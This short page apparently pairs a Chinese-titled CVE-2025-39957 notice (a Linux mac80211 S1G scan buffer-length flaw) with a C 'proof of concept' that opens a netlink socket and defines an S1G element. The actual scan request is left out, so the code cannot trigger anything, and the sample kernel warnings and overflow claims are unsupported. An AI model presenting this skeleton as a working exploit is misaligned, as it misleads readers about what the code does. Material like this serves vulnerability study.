CVE-2025-39957 Linux内核mac80211 S1G扫描缓冲区验证漏洞

// CVE-2025-39957 PoC - Trigger S1G scan buffer length validation failure // This PoC demonstrates triggering the vulnerability by attempting an // hw_scan with S1G capability elements, causing scan_ies_len underestimation #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> // Simplified demonstration of triggering the vulnerable code path // In practice, this involves sending NL80211_CMD_TRIGGER_SCAN with // S1G capability IE included in scan request int main(int argc, char *argv[]) { // Step 1: Open netlink socket for nl80211 communication int nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nl_sock < 0) { perror("socket"); return -1; } // Step 2: Bind to nl80211 family struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(nl_sock, (struct sockaddr *)&sa, sizeof(sa)); // Step 3: Prepare NL80211_CMD_TRIGGER_SCAN message // Include S1G capability element (elem ID 0x6F) in scan IEs // The bug: scan_ies_len calculation does not account for S1G cap IE unsigned char s1g_cap_ie[] = { 0x6F, // Element ID: S1G Capabilities 0x04, // Length: 4 bytes 0x00, 0x00, 0x00, 0x00 // S1G capability info }; // Step 4: Send scan trigger with S1G IE // This triggers ieee80211_prep_hw_scan() buffer validation failure // and WARN in __ieee80211_start_scan() printf("[*] Triggering S1G hw_scan to exploit CVE-2025-39957\n"); printf("[*] scan_ies_len will be underestimated, causing buffer overflow\n"); // ... (netlink message construction and send omitted for brevity) // Step 5: Observe kernel WARN/panic in dmesg // [ 1234.567890] WARN: ieee80211_prep_hw_scan: buffer validation failed // [ 1234.567891] WARNING: CPU: 0 PID: 1234 at __ieee80211_start_scan+... close(nl_sock); return 0; }